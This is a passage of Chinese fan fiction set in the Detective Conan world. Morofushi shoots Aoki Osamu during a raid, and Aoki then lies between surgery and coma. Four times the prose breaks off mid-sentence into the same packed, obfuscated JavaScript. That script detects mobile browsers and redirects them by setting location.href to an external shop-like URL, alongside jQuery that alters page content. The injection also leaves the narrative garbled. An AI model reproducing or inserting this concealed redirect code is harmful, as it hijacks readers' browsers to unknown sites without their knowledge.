尽管没有视野,但诸伏景光依旧能够凭借经验判断出来人的大致要害位置。 两人一上一下探出枪口,以迅雷不及掩耳之势扣下扳机。 常年的狙击手训练让诸伏景光的速度比降谷零还要快一些,后者开一枪的时间,他已经连续打出了两枪。 子弹如肉,人体触地的声音向两人宣告着偷袭的成功,降谷零闻声窜了出去,目标明确直奔乌丸莲耶的房间,急着去查看自己派出去的小队是否还有活口。 虽然说他深知组织的风格,但在没有见到队友的尸体前,他还保有最后的希望。 诸伏景光原本也是要跟着降谷零一起冲出去,可在连续开出平稳的两枪后他的手忽然发了抖,甚至连重要的枪都没能拿稳。 心中不安的感觉越来越强烈,心脏几乎要蹦出嗓子眼。 身后的队员注意到他的迟疑,其中一人停下脚步看向他关切道:“诸伏警官,你还好吗?” “没事。” 诸伏景光一手去捡掉落在地上的枪,一只手搭在胸口,心中不断安慰着自己一切都要结束了,等抓到乌丸莲耶青木修就彻底安全了。 然而事实很快打碎了他的美好幻想。 降谷零的惊呼从房间里传出: “hiro,他们没事!只是被人打晕了!” 打晕了? 诸伏景光第一时间觉得其中有诈,能被留下来保护乌丸莲耶的人,可不会是什么心慈手软的家伙。 可是刚刚这人毫无防备的步调又让他起了疑。 刚刚他的枪口架在上方,目测来人胸口的两枪应该都是他打中的,降谷零的那枚子弹则是落在了腹部。 “这家伙竟然没穿防弹衣?” 有走在前面去检查生命体征的警察疑惑出声。 诸伏景光这时候突然发现了一个刚刚被他们忽视的细节:一路走来的安保都配有全套的装备,可谓是从脚武装到了牙齿,现在这么关键的一个人组织居然会只给他准备了一套衣服和一把枪? 随着距离越来越近,诸伏景光更是发现了这人连备用的弹夹都没有。 你永远也别想在见到他! 左山先生充满恶意的话语突然像是魔咒一样在他的耳边回荡起来。 诸伏景光的手颤抖地更加剧烈了,一阵寒意从尾椎直直窜上他的天灵盖。 大步流星奔到倒地的安保身旁,诸伏景光一言不发挤开了正在为他检查生命体征的警察,动作极尽轻柔的解开了他脖颈处的固定带。 “嗬嗬……” 被击中胸腔的人骤然没了呼吸上的束缚,倒气声顿时回荡在空旷的走廊里。 即使对方右脸颊原本增生现在已经被人残忍的挖去,留下一大片可怖的鲜红血肉,诸伏景光还是在摸上对方颈侧的时候就认出了他的身份。 青木修,是青木修。 意识到做了什么的诸伏景光不可置信地瞪圆眼睛,低头看向自己的双手。 他原本想了很多话要和青木修说,可是现在…… 暂时还有些不明所以的警察们有些困惑地看着突然变得狼狈万分的诸伏警官。 “hiro,已经控制住乌丸莲耶了!” 降谷零难掩激动的声音打破了走廊外的寂静。 他没忘记此行的另一个目的,心情颇为愉悦地从破洞处探出头,“这里先交给我,你带几个人去找青木修吧。” 回答他的是一阵诡异的沉默。 降谷零意识到不对劲,连忙跑出来,“hiro你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497372|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “……青木修……” 诸伏景光的声音是沾上了血气的嘶哑,他一字一句地说:“我找到他了。” “zero,我找到他了。” 聪明如降谷零,瞬时反应过来诸伏景光的潜台词。 他同样难以置信,守着乌丸莲耶的人,怎么偏偏会是青木修? 被摘掉沉闷头盔的青木修视野骤然开朗,他甚至还眯了眯眼睛来适应突然变得强烈的光线。 “……” 他想要说话,但是诸伏景光其中一枪似乎伤到了他的肺部,一张嘴涌出的都是鲜血。 诸伏景光有些仓皇的俯下身凑到青木修的耳边,“我在,我在,你说……” 这一次他听清了青木修的呢喃。 对方叫的是他的名字。 诸伏景光彻底慌了神,手忙脚乱的开始为青木修止血,降谷零见状也连忙指挥其他人从房间里翻找出用得上的东西递交给诸伏景光。 青木修很高兴,他又一次见到了诸伏景光。是鲜活的,健康的诸伏景光。 虽然他的身上有不少挂彩,但至少看上去精神不错。 “你别说话……你别说话了……” 诸伏景光的声音已经带上了哭腔,他向来对自己的准头很有自信,但现在这种自信几乎击碎了他。 另一枚子弹正中青木修的左胸。 这意味着什么不言而喻。 “这一层还有两个房间……” 青木修没把诸伏景光的话听进去,强撑着用气音交代,“门就藏在走廊的墙壁里,你们应该也能炸开。” “我知道,我知道……” 诸伏景光手忙脚乱地把警察从房间里搜刮出来的纱布往他胸口的血洞里填。 “一间是左山先生的专门实验室,里面应该还有不少样品;另一间是他和他的团队的办公室,他们的手稿就在那里……” 青木修每说一个字都很费劲,但还是倔强地把自己知道的消息告诉诸伏景光,“不要随便挪动乌丸莲耶,没了这些仪器他很快就会死。” 诸伏景光跪在他身边,一边胡乱地应着一边拼命想办法为他止血。 扭头把青木修的话转述给里面的降谷零,后者歇了把人直接拷走的心思,转而呼唤起楼上的赤井秀一和停在外面的直升机。 “他需要抢救。” 看清青木修的伤势,降谷零不由得倒吸一口凉气,单凭子弹的落点来看,青木修此遭恐怕也是九死一生。 又从脑海里搜寻了一遍自己知道的情报,青木修又轻又长地呼出一口气,逐渐有些灰败的脸上挤出一个不太明显的笑容。 他调动全身的力气抬起一边胳膊,手掌轻轻搭在了诸伏景光的手背上。 如果能死在诸伏景光的手里,也是一个不错的结局。 “青木修!醒醒!别睡过去!” 觉察出他的眼皮有合上的趋势,诸伏景光被搭住的那只手摁在青木修胸口上不动,另一只空闲的手开始大力摇晃他。 青木修吃力地掀起眼帘,他现在满眼都是诸伏景光的脸。 “对不起……” 诸伏景光的眼泪彻底被他这一句话激出来,大颗的泪珠落在青木修的脸颊上。 “别哭……” 青木修有些慌了神,他想要擦去诸伏景光的泪珠,却怎么也没了力气。 “你还欠着我人命!青木修!你怎么敢去死!” 75.第 75 章 诸伏景光几乎是嘶吼着喊出这句话。 青木修有那么一瞬间的怔愣,随即脸上泛起一层苦笑。 诸伏景光没有停止急救的动作,他想尽一切可能的办法为青木修止血。 青木修现在很想抱一抱诸伏景光,向他道歉,向他请罪,但是他实在是太累了。接受审讯后并没有得到良好治疗的身体每一处都在大声发表着抗议,每一个细胞都在翻腾着表达自己的痛苦。 “直升机还有两分钟就到,我们得把他转移上去。” 从地下三层到屋顶,六层楼的距离随时都有可能要了青木修的命。 “再坚持一下,青木修,看着我,再坚持一下。” 诸伏景光几乎是用恳求的语气在同青木修讲话。 “……” 青木修尝试着抬起手去触碰诸伏景光,但很可惜,他尝试了许多次都失败了。 无奈,他只能艰难地摇摇头,表示他们这样做没有意义。 他本就是一个从命运手中偷来了时间苟活的人,如今不过是债主前来取回本属于自己的东西,没什么值得抗争的。 诸伏景光却根本不想理会青木修的颓丧,他弯下腰把没几两肉的人抱起来,尽可能保持平稳的带人朝着电梯的方向冲过去。 望着青木修逐渐涣散无神的瞳孔,他浑身的血液一点一点变得冰凉,无比懊悔刚才自己开枪的行为。 “没关系。” 似乎是看出了他的心中所想,青木修轻轻地出声安慰他。 从职责上来说,诸伏景光没有做错任何事,相反,他做的很对,没有愧对于他胸前的警徽。 大量的失血让青木修有些感到寒冷,他没什么力气在诸伏景光的怀抱里调整姿势,只是朝着诸伏景光胸口的方向蹭了蹭,最后停在了距离对方心跳最近的地方。 他听出来诸伏景光现在心跳很快,耳边是心脏“咚咚”的狂跳声,给了他一种莫名的安慰。 整个黄昏别馆内部的守卫基本上都被他们清理干净了,诸伏景光一路畅通的通过电梯来到顶楼。 直升机带起的风吹乱了诸伏景光额前的头发,他顾不上捋一捋几乎要扎进眼睛的碎发,小跑着把青木修送上了直升机。 赤井秀一在看到青木修的刹那表现出了一丝惊讶,但他很快调整好了自己的表情,帮助诸伏景光把人安置下来。 诸伏景光本想跟着一起上直升机,但还留有最后一丝意识的青木修竟然抵住了他。 明明青木修没有用任何力气,仅仅是触碰到诸伏景光而已,而后者却觉得有一堵铜墙铁壁阻挡了他。 视线缓缓上移,最后停在了青木修灰色的眼睛上。 没有怨恨,没有憎恶……一切诸伏景光所能想到的负面情绪都没有。 “先完成你的工作吧。” 青木修拦住诸伏景光的动作其实带了一点自己的小心思:混沌中,他好像听见了死神的丧钟在耳边敲响。 他不想让诸伏景光难过。 诸伏景光脸颊的肌肉抽动了几下,还试着往前上了一步,但青木修的手就像是钉在那里一样,一动也不动。 明白过来他铁了心不想让自己跟着,诸伏景光不敢再耽误时间耗下去,只能匆匆叮嘱飞行员几句,退开几步,目送直升机重新起飞,最后消失在视野中。 “早点把这里处理完,你才能早些去看他。” 赤井秀一在一旁听起来十分冷静地提醒他。 用力闭了闭眼,诸伏景光把即将溢出眼眶的泪水统统憋了回去,“我知道。” 这一次的联合行动参与者不少,他只要把负责的黄昏别馆这边处理好,就能获得一些空闲时间去找青木修。 带着这样的信念,诸伏景光再一次全身心投入了扫尾工作中,针对乌丸莲耶,这个浑身插满仪器的家伙移动起来确实棘手,他们最后只能叫了车来,单独把他运送回东京警察医院看守起来。 至于青木修另外交代的两处密室,里面存放了大量的实验样本和实验记录,详细的记载了左山先生近些年来带领团队进行的非法实验。 “hiro,你来这边看看。” 整理左山先生的实验室时,降谷零忽然把诸伏景光拉了起来。 被撬开的巨大保险柜里分门别类的存放着许多的标本,诸伏景光凑近了些,发现每个标本下都写着名字——或者说是代号。 写有“杜林标”的标签也赫然其中。 他们仔细数了数,这里面一共出现了八个代号。 “这应该就是青木修和我说过的,他的兄弟姐妹们了吧。” 经过特殊处理过的保险柜里面不仅有标本,还有一些保存得当的重要细胞。 两人对视一眼,皆从对方眼中看出了决不能让这些东西流出实验室的意味。 降谷零装作什么都没有发生过一样去检查其他的位置,诸伏景光则不动声色的开始着手销毁这些东西。 不单单是为了保护青木修,也是希望已经死去的人可以得到安息。 还有很多从地下一层和地下二层抢救出来被组织当做实验体的人也需要得到妥善安置,他们其中的绝大部分精神状况都不太好,需要统一送往医院进行检查。 这一天,鸟取的医院里前所未有的喧闹。 诸伏景光几乎是一刻没有停歇的连轴转,绝不浪费一分一秒的时间,即便他看上去依旧镇定温和,但降谷零还是从他颤抖的双手中窥见了端倪。 “黑田长官刚刚通知说我们这边的任务已经彻底完成了。” 实验体全部送往医院诊治,乌丸莲耶平安到达东京警察医院,后续的负责人成功和他们交接…… 这边看上去确实没有什么需要他们做的了。 诸伏景光就像是听到了赦令,丢下一句“多谢”就急急忙忙的跑远了。 他忍了又忍,还是没忍住给医院那边打去了一个电话。 只是和医生简单描述了几句青木修的伤情,医生就立刻打断了他的话。 “这位先生已经转院了。” “什么?!” “他的伤势过重,我们这边没有足够的条件,已经紧急把他转去了东京警察医院。” 诸伏景光猛地一个刹车,呆愣一秒后立刻掉转车头奔回警署,追上了即将上飞机的降谷零和赤井秀一。 “诸伏?” 赤井秀一有些诧异地转身看向身后狂奔而来的人,“你不是去看青木修了吗?” “他转去……东京警察医院了。” 诸伏景光一个箭步冲上直升机,双手搭在膝盖上大口喘气。 “还好……赶上了……” 要是错过了降谷他们,还不知道要耽误多少时间才能赶到。 “正好,我们也要去。” 降谷零侧头检查了下担架上两名警察的状况——其他人都是坐车回东京,直升机专门用来转运几名伤得有些重但又还能坚持的警察去警察医院。 诸伏景光还没缓过劲来,闻言也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504711|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是疲惫至极的点点头。 他实在是太累了,迷迷糊糊间竟然睡了过去。 他做了梦,梦里的他回到了从柜子里开枪打中青木修的那一刻。 诸伏景光第一时间意识到自己是在做梦,但他尝试了几次都没能醒过来。 他突然感到很无力。 现在的他什么都做不了,只能眼睁睁的看着血液从青木修的胸口涌出。 死亡逐渐取代了青木修脸上的生机。 诸伏景光抓住他冰凉的手,试着合上青木修的眼睛。 但是青木修始终不肯闭上眼请,像是诅咒一样紧紧盯着他,偏偏他又不能从这双眼睛里看出一丁点的怨怼之意。 “hiro!” 降谷零的声音把诸伏景光从噩梦中拉了出来。 “到医院了!” 直升机正在下降,噪音很大,导致降谷零不得不扯着嗓子和他说话。 “到医院了……” 诸伏景光重复了一遍他的话,不断地提醒自己刚刚发生的一切都是梦,梦和现实都是相反的。 “青木修会没事的。” 他近乎是自欺欺人的喃喃,待到直升机一落地,诸伏景光径直跳了下来,避开得到消息前来接应的医护人员,一股脑跑到了急诊。 “你们这边有没有送来一个脸上有一大片伤的病人?灰眼睛的。” 他匆匆拉过一名护士,急不可耐的问道。 青木修送来时已经没了意识,并不知道他的瞳色,不过诸伏景光描述的另一个特征倒是让人很有印象。 “你是说那位右脸从这里到这里都有伤的病人?” 护士小姐从嘴角到耳根比划了一下,得到诸伏景光的肯定回答后告诉他:“他还在抢救,我带你过去吧。” 向帮忙带路的护士小姐道谢,诸伏景光膝盖一软,整个人瘫在了手术室外的长椅上。 这次行动,他们用的是特批的空头弹,子弹前段是空腔,打中目标后子弹前段会因为冲击力像开花一样炸裂开,在目标体内造成更大的伤害。 抱着青木修的时候他就感觉到对方体温偏低,但额头滚烫,不用想就知道他并没有因为对乌丸莲耶还有作用而得到左山先生等人的善待。 原本他在青木修脸颊上留下的那道疤就已经很刺眼了,可那群人在审讯时竟然会将已经形成的增生全部挖掉,造成现在更可怖的样子。 至于其他被衣服遮挡住的地方恐怕也大差不差。 诸伏景光把手插进头发,无力地长长叹息一声。 不断有护士推着放满药品或者是血袋的推车进入手术室,诸伏景光看在眼里,几乎要无法呼吸。 时间一分一秒的过去,手术室的大门忽然打开,出来传话的医生一眼就锁定了孤坐在长椅上的诸伏景光。 “请问你是里面这位先生的家属还是同事?” 还不等看到些希望的诸伏景光答话,医生的下一句就直接把他打入了深渊。 “病人情况不太好,麻烦你们做好心理准备。” 诸伏景光一下子懵了,耳朵像是隔了层布一样。 “你说什么?” 这种情况医生见了很多,已经能做到铁石心肠的重复。 “他伤势很重,求生欲望也不强,心跳已经停过一次,希望你们做好心理准备。” 抢救还没有结束,医生丢下话又匆匆回去,手术室大门“啪”一声合上。 一扇门,隔绝了生与死。 76.第 76 章 降谷零等人就是在这里找到了看上去就十分颓靡的诸伏景光。 见到松田阵平,萩原研二和伊达航三人时,诸伏景光还有些没回神。 “你们……怎么在这里?” 降谷零把诸伏景光交给他们几个,自己转身去找医生来为他处理伤口。 “那个什么东京基地里面埋藏了炸弹,我和hagi费了点功夫才把它们都拆掉。” 松田阵平搭着萩原研二的肩膀,眉宇间难掩疲惫。 “一些外逃的成员挟持了普通市民,公安没那么多人手,就来我们搜查一课借人咯。” 伊达航也贴心地解释道。 “小降谷都和我们说了,里面的人是青木先生。” 诸伏景光从萩原研二熟稔的语气中听出了什么,突然想起了一个自己很早之前就想问的问题:“你们是怎么注意到他的?” 萩原研二尽可能简短的把他们几个结识并觉察出青木修有异常的场景重现一遍。 诸伏景光这才意识到原来青木修发病的时间比他估计的要早得多。 “hiro,先把伤口处理一下吧。” 说话间,降谷零已经带来了医生去而复返。 医生先是把他身上比较浅的一些伤口处理干净,接着让他到楼下去进行创口缝合。 “不用了,不碍事。” 惦记着手术室里的青木修,诸伏景光想也不想直接拒绝了医生的提议。 “可是……” 医生更关注自己眼前的病人,显然是对诸伏景光这样不遵医嘱的行为有些不满。 “hiro,不去缝合的话伤口会发炎,等青木修从手术室里出来,你要是病倒了还怎么照顾他?” 降谷零不愧是诸伏景光的幼驯染,一张嘴就精准拿捏住了他的软肋。 “这里有我们几个帮你看着,要是手术室有什么消息我们第一时间来通知你。” 连医生也向他承诺:“你的伤口不算复杂,十几分钟就能结束。” 在几个人的助推下,诸伏景光终究没拗过医生,站起身跟着他下楼缝合。 “你快点去吧!早去早回!” 松田阵平看不下去他一步三回头的样子,上前推了他一把。 “早去早回”几个字实实在在落在了他身上,诸伏景光一时间恨不得直接拽着医生小跑起来。 “我们最开始只是单纯的以为青木先生和你们俩认识。” 确定诸伏景光已经彻底离开了他们的视线范围,萩原研二双手抱胸,看着降谷零有些玩味的开口。 “不过现在看来……” 他极具暗示性地瞟了一眼手术室,“青木先生似乎和小诸伏的关系不太一般?” “……” 面对自己这个在某些方面过于敏锐的同期,降谷零先是沉默了一秒,接着捡了些能说的内容把两人之间的事情说给了几人。 “总之现在就是这样……” 他对青木修的偏见早在对方救下诸伏景光的时候就消失了,现在唯一让他略感头痛的,就是两人之间说不清道不明的复杂关系。 明眼人都能看出来这两个人之间一定有什么,偏偏当事人却因为各种各样的意外始终隔着一层纸。 他们这些旁观者又不能亲自动手把窗户纸捅破,然后强行摁着两个人的头把他们凑在一起。 “啊啦……” 萩原研二摸摸下巴,“听起来小诸伏还有很长的路要走呢。” 他有些担忧地看向毫无动静的手术室,诸伏景光还有路走的前提是里面这个人能出来。 常年待在搜查一课,对于各种伤情都有所了解的伊达航眉头紧锁,从降谷零的描述来看,光是他俩打出的那三枪,就足够青木修在鬼门关走一遭。 这话他没说出来,现在这种时候,说这种话太丧气了,他们需要的是希望。 诚如医生所保证的那样,诸伏景光回来时并没有过去太长时间,其间甚至连出来拿药或者是拿血的护士都没有。 他们几个都还有自己的工作要忙,不能在这里待太久,等到诸伏景光回来便向他道别。 “公安这边的工作有我,你放心。” 降谷零知道现在就算是强迫诸伏景光回到工作岗位效果也不会太好,还不如让他留在这里守着青木修,更何况他们俩本来就欠着对方人情。 诸伏景光感觉到自己的精神无比疲惫,闻言也只是轻轻点头示意自己知道了。 听着降谷零的脚步声逐渐远离,他把额头贴在冰冷的墙壁上,好像这样就能感受到里面的青木修。 中间医生又出来了几次,具体说了什么话诸伏景光都已经记不清了,他机械地不停默念着青木修的名字,想要通过这样的方式挽留住对方即将远去的灵魂。 经过漫长的等待,脸上难掩喜色的医生大步走了出来。 “病人的情况暂时稳定了,虽然数据都有些偏低,但好歹进入了正常数值范围内。” 诸伏景光“噌”一下从椅子上弹了起来,整个人瞬间精神了起来,一改先前的疲惫沮丧,飞快地略过还没把话说完的医生,目标明确直奔他身后的病床。 “青木修!” 他尝试着呼唤对方的名字,但青木修刚刚结束手术,并不能回应他。 在看清青木修的样子后,诸伏景光眼眶一酸,如果不是有医生的话在前,他几乎不能相信眼前的人还活着。 苍白如纸的面孔,青紫色的唇,还有那几乎看不到起伏的呼吸…… “警官,病人现在要进入监护病房进行观察,如果七十二小时之内都没有问题,才算是度过危险期。” 进了监护病房就不能再随意探视了,诸伏景光知道医院的规则,没有要违规的意思,只是依依不舍地看着青木修被送进监护病房,连接上各种生命检测仪器。 他把刚刚悬着的一颗心放回原处,向着护士再三叮嘱后回到了公安——还有很多关于组织的事情等着他。 经过警方的清点,除了琴酒和贝尔摩德之外,所有常驻东京的重要代号成员都已经尽数抓捕归案,乌丸莲耶被警察医院第一时间接手,特意派了人手把他保护起来。 诸伏景光起先还分心青木修那边的情况,不过转念一想,在监护病房里的人没有消息才是好消息。 还没等他整理完自己需要写的文书报告,警察医院那边就来了电话,通知他说青木修又进了抢救室。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14511752|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸伏景光当即扔下手里的文书,风一样地跑了。 老天仿佛诚心和他作对似的,每次医生们把青木修从死亡线拉回来不久他就会因为各种突发的意外重新进入抢救室,如此来来回回拉扯了不知多少遍。 “病人很奇怪,他的求生欲望不强,但似乎总有什么东西拴着他最后一口气,给了我们抢救的时间。”一位为青木修做了四次紧急抢救的医生如此评价道。 等青木修彻底摆脱监护病房和抢救室,已经是一个月以后的事了。 这一个月来发生的事情不少,但在诸伏景光看来,反复也不过是那几样:围观上司口水战,写文书报告,提审组织成员…… 青木修转入普通病房的那天,正好是他和降谷零苦战一个星期,写完所有报告的日子。 在听到黑田兵卫“好了,这里暂时没有你们的事了”这句话的时候,诸伏景光激动地差点连“谢谢”都忘了说,跳上车直奔警察医院。 “青木先生已经转入普通病房了。” 他同往常一样来到重症监护室外,正纳闷青木修的床怎么空了时,善解人意的主治医生幽灵似的出现在他身后。 诸伏景光脸上一时间又是被医生吓出来的惊又是听到好消息的喜,乍一看上去表情相当的奇怪。 医院给青木修准备的是单人病房,位置很不错,窗户向阳,下方的桌子上还不知道被谁插了一束鲜花。 一个月的时间,青木修的头发长长不少,已经能堪堪落在肩上,嘴唇也比当初第一次出抢救室时看上去好看许多,但他的脸依旧呈现出一种看上去令人不安的灰白。 右脸颊上的恐怖伤口被纱布遮住,微微透露出一点下层药膏的颜色。 医生从外观角度考虑,没有用缝合的办法,防止进一步扩大他的伤口面积。 这个方法的美观程度最高,但相应的,由于伤口不能缝合就需要更加频繁的换药。 诸伏景光每每看到护士用镊子拿着沾了碘伏的棉球摁在青木修脸上的伤口上。几乎要把棉球和药怼进那个伤口时,他就会不由自主地一阵龇牙咧嘴。 疼,看上去更疼了。 诸伏景光没忘记青木修怕疼。 一个对疼痛比常人更加敏感的人,是怎么熬过组织的审讯的? 他不敢去细想,他怕自己再想下去就会没有勇气再面对青木修。 “他怎么还不醒?” 转入普通病房已经好几天了,可是青木修依旧没有半点想要睁眼的迹象,这让诸伏景光心里火急火燎的着急,干脆直接堵住了即将出门的主治医师。 “我之前和你说过,他的求生欲望并不强。” 主治医师没有任何惊讶的表现,淡定地推了下鼻梁上的眼镜,就好像是遇到了普通的病人家属一样。 “他似乎在逃避什么,这里有他不敢面对的人或者事物。” 诸伏景光一下子想起了那天他在手术室门口不断默念青木修名字的场景。 或许这个办法真的有用呢? 他实在害怕青木修再也不会睁眼,现在只能死马当活马医。 抱着试一试的心态,诸伏景光开始得了空就坐在青木修的病床前轻声呼唤的名字。 77.第 77 章 这个方法一开始看上去并没有什么明显的效果,但是医护人员也无阻止他的意思:他们也想不到什么好方法能够快速让青木修恢复意识,与其让诸伏景光在这里干等,还不如让他做些什么,有个精神寄托。 有关组织的工作已经全部走向尾声,黑田兵卫抽时间过来了一趟。 他进病房时,诸伏景光正坐在病床边,拿着一个热水袋帮青木修捂热输液的药品。 “诸伏警官。” 诸伏景光视线全落在青木修脸上,还是黑田兵卫主动出了声,他这才注意到病房里来了人。 “黑田长官。” 他忙不迭站起身,为黑田兵卫搬来一把椅子。 “不用了,我就是来看看。” 黑田兵卫摆摆手,婉拒了诸伏景光的好意。 他忽然想起了前段时间同样躺在这里的诸伏景光。 “他也许是在做梦呢?” 他开口,为诸伏景光打开了一个从未想过的思路。 “什么?” 黑田兵卫摸摸下巴,“你当时清醒过来之后,不是说自己做了一个梦吗?说不定他和你一样,把梦做完就能醒了。” 诸伏景光可没那么乐观,心想如果是个好梦,恐怕青木修不会乐意醒来。 当然,他没把话当着长官的面说出来。 “关于他以后的去处,你有什么想法吗?” 黑田兵卫注意到诸伏景光的心不在焉,突然换了话题。 “?” 诸伏景光没能第一时间接上话。 他端详着青木修的脸,心中一时间五味杂陈。 想来黑田兵卫问他这个问题也只是临时起意,单论青木修的出身,上面的人就不可能放他自由行动。 想起自己这段时间听到的风声,FBI那边可是时刻做好了他们不善待人就把青木修劫走的准备。 不过公安不会给他们这个机会就是了。 “我……还没想好,”他最终如实说,“我想等青木修醒过来之后,问问他的意见。” 黑田兵卫有那么刹那的哑然,看来这两个人之间的感情比他想象中的还要深厚一些。 “也可以。” 他考虑到下属现在的心情,并没有把青木修根本就不可能获得完全自由的事实说出来——尽管这位聪明的下属可能已经有了猜测。 “这段时间的收尾工作降谷说有他帮你,让你放心,但是也别忘了回去开会。” “您放心吧,我不会耽误重要工作的。” 用不着他特意提醒,诸伏景光也自然不会错过警察厅的会议,说不准哪一场就会提到关于青木修的安置呢? 在黑田兵卫之后,赤井秀一也过来了一趟。 对于他的出现,诸伏景光表现出了一丝惊讶。 但他并没有阻止对方进入病房。 “我是来道谢的。” 赤井秀一把果篮放在桌子上,一副不打算久留的样子。 “如果不是青木修,我们还发现不了FBI居然也被组织渗透了。” 他的语气里带着一些自嘲,组织不仅堂而皇之渗透FBI,甚至在他们的眼皮子底下建立起据点。 “你们要回去了?” 诸伏景光闻言挑起一边眉毛。 “没有,我还会在东京留一段时间。” 他在组织留下的研究员里发现了自己的表妹。 说起来也是巧合,自己的小姨和小姨夫竟然是误打误撞加入了组织,还接手过有关青木修的实验。 在自家母亲大人的协助下,赤井秀一把宫野志保从里面撇了出来,目前她的身份档案还在制作中,不能离开这里。 诸伏景光也无意探究对方的隐私,没有追着刨根问底。 “顺带帮詹姆斯转达一句话——” 离开前,赤井秀一斜靠在门框上,笑容有些挑衅。 诸伏景光看到他的这副笑容就直觉对方接下来可能不是什么好话—— “詹姆斯说,如果青木修在这里待不下去,随时欢迎他来投靠我们FBI,他有我们的联系方式。” FBI不会放过人才,青木修的能力非常强,撇开他的出身不看,是一个非常好的工作伙伴。 诸伏景光克制住自己的表情,皮笑肉不笑地把人客客气气请了出去。 “不劳你们FBI费心。” 这些家伙公然在他们的地盘上随意活动就算了,现在竟然赤裸裸抢人抢到他面前了! “只是一个建议。” 赤井秀一仿佛很乐意看到他这样子,心情颇为愉悦地离开了警察医院。 zero说得不错,就应该把这些FBI拉入黑名单,诸伏景光在心里恨恨地想。 收回视线,他的目光重新落在青木修的身上。 其实黑田兵卫没有猜错,青木修确实是在做梦。 梦里他不是组织的实验体,而是和诸伏景光从小一起长大的玩伴。 他们一起长大,一起上学,虽然他没有父母,但诸伏夫妇待他视若己出,凡是有诸伏景光的东西必定也有属于他的一份。 “青木……” 梦里的诸伏景光靠在他的肩膀上,“我打算去警校,你呢?” 他的手指被诸伏景光握在掌心里把玩,不过他并没有抽出来,而是任由对方动作。 “我啊……我就不去了。” 似是没想到青木修会说这种话,身边的诸伏景光“噌”一下坐直了身体,“怎么?你不是说要一直和我在一起的吗?” 青木修侧过头看他,眼睛里盛满了笑意和不舍。 他碰了碰“诸伏景光”的额头。 “和你在一起的这段时间我很开心。” 他站起身,低头看着满脸写着“你在说什么胡话”的诸伏景光。 “但是我知道,”他深吸一口气,仿佛花费了很大的勇气才把这句话宣之于口,“你是假的,这里的一切都是假的。” 原本还坐在原地的“诸伏景光”忽然变了脸色。 “留在这里不好吗?” “这里很好,你也很好。” 青木修粲然一笑,脸颊上露出两个小酒窝,“可是我听见他在叫我。” 真正的诸伏景光在叫他。 “我不能让他失望。” 不管之后会发生什么,青木修都不想让诸伏景光失望。 他现在前所未有的清醒,清晰地记得自己和诸伏景光之间的那些恩恩怨怨。 实话实说,他不敢再面对诸伏景光,看是他也做不到狠下心来让对方失望。 就回去看他一眼,青木修在心底小声劝说自己,就看一眼,见到自己之后诸伏景光应该就没别的什么再担心的了。 “你真的想好了吗?” 眼前的“诸伏景光”还在尝试挽留他。 不,我根本没想好。 青木修用心声回答他,光是做出这个决定就已经消耗了他全部的勇气,他现在根本不敢再多思考任何一点东西。 他怕自己再多想一点就会退缩。 看出他心中的犹豫,面前的人露出势在必得的笑容, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528948|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身就要上前拉他,青木修脸色一变,当即向着身后的山坡倒下去! 现实中已经是一月一日,新年。 “今天是你的生日,青木修。” 诸伏景光把床前已经枯萎的鲜花换成一束新鲜的,照常同青木修自言自语,“我可没忘记你的生日,确定不起来看看吗?” 青木修已经躺了很久,哪怕警察医院的医生护士们都非常尽心尽力地照顾他,但长期没有正常进食,运动还是让青木修无可避免的消瘦下去。 今天是阖家团圆的日子,也是诸伏景光进入组织多年来过的第一个新年。就在他还在纠结要不要抽时间回去和兄长吃顿饭再连夜赶回来的时候,远在长野的诸伏高明已经非常善解人意的来到了东京。 “哥哥!” 见到诸伏高明,诸伏景光脸上难掩喜色。 “今年不用值班吗?” 诸伏高明放下手中拎着的礼物,“由衣和敢助在一起了,警署看起来不太需要我这个电灯泡。” 他可没什么主动吃狗粮的习惯。 “是荞麦面!” 诸伏景光打开他带来的袋子,眼前一亮。 “知道你很久没尝过了,不过这里没什么条件,只能带速食版的过来。” “没关系!” 